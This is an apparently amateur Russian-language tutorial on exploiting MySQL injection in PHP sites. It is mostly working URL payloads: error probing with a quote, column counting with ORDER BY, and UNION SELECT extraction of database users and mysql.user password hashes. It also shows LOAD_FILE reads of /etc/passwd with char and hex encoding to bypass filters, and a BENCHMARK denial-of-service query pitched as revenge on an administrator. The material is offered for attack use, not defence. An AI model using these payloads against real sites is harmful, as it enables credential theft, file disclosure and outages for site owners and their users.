Данная уязвимость или вид атаки, которая позволяет пользователю выполнить некие команды в базе данных, создание файла, ввод/вывод данных ....
Не будем вникать, как обрабатывается сама команда в файле, а только лишь перейдем сразу к практике и что нам для этого требуется...
Для того чтобы осуществить инъекцие, нам требуется, собственно, её найти =), а делается это так:
http://baga.com/index.php?id=22'
Как вы заметили мы подставили ' - кавычку., если в этом случае на экране появиться воде ошибки: MySQL Error: mysql_query..., то это означает, что бага существует... и нам следуется её реализовать...
Есть ещё один способ определения ошибки(баги, в свою очередь означающую - injection), ведь в файле может быть прописан заветный error_reporting(0)(не выводить ошибки) или preg_replace()....:
http://baga.com/index.php?id=23-1
Если появляется таже страница, что и в ?id=22, то бага все таки есть..
Применение
Собственно нашли мы багу, че дальше? Нам необходимо определить количество полей на странице, которые используются mysql(column или столбцов, как угодно). Делается это с помошью команды ORDER BY, которая значительно обгелчает подсчитываение количество столбцов. Так же очень важно поставить неправильное значение после ?id= чтобы нам выводилась не просто страница под номером №1, а именно то, что нам необходимо (Логин, пасс тоесть :Р) . Сделать это можно, например, так: ?id=-1 или так ?id=1111111.
?id=-1+order+by+100/*
Если появится ошибка, то количество столбцов меньше, чем 100.
?id=-1+order+by+10/*
Ошибки нет. Ага, значит столбцов больше или равно чем 10. и т.д. пока не найдем точное кол-во столбцов.
После нахождения верного количества столбцов приступим к составлению нормального запроса вида id=-1+UNION+SELECT+x/* , где x - количество столбцоб. О, как загнул ))
Тоесть если столбцов 10, то делаем следующее: id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*
Сразу мжно узнать много интересной информации:
id=22'+Union+select+1,2,version(),4/* id=22'+Union+select+1,2,system_user,4/* id=22'+Union+select+1,2,database(),4/* id=22'+Union+select+1,2,user(),4/*
Теперь можно перебирать имена таблиц.
http://site/test.php?id=12+union+select+1,2,3,4,5,6+from+table1/*
Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, admin, root, regusers и тд и тп.
у нас уже достаточно информации чтобы составить такой запрос.
http://site/test.php? id=9999+union+select+1,mysql.user.password,2+from+mysql.user/*
В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам
http://site/test.php?id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/* http://site/test.php?id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*
текст файлов через MySQL инъекцию.
Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла
http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*
но есть такие печальные моменты, как фильтрация на кавычку ((, поэтому обходим следющим образом, а именно, кодируем слово /etc/passwd в char или 16 систему счисления
char: - char(47,101,116,99,47,112,97,115,115,119,100)
16 bit: - 0x2f6574632f706173737764
соответственно::
..id=-1+union+select+1,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),3,4/* ..id=-1+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4/*
И на закусу, бывает нам хочется насолить неприятелю, т.е злостному администратору, да так, шоб у него нах всё зависло, да-да, я говорю про Dos таку, ух как сладка порой месть =)
..id=BENCHMARK(10000000,BENCHMARK(100000 00,md5(curren t_date)))
Пожалуй, пока все ))
(c) dozzer.moy.su and hackzona.ru + сильно подкорректирована мной!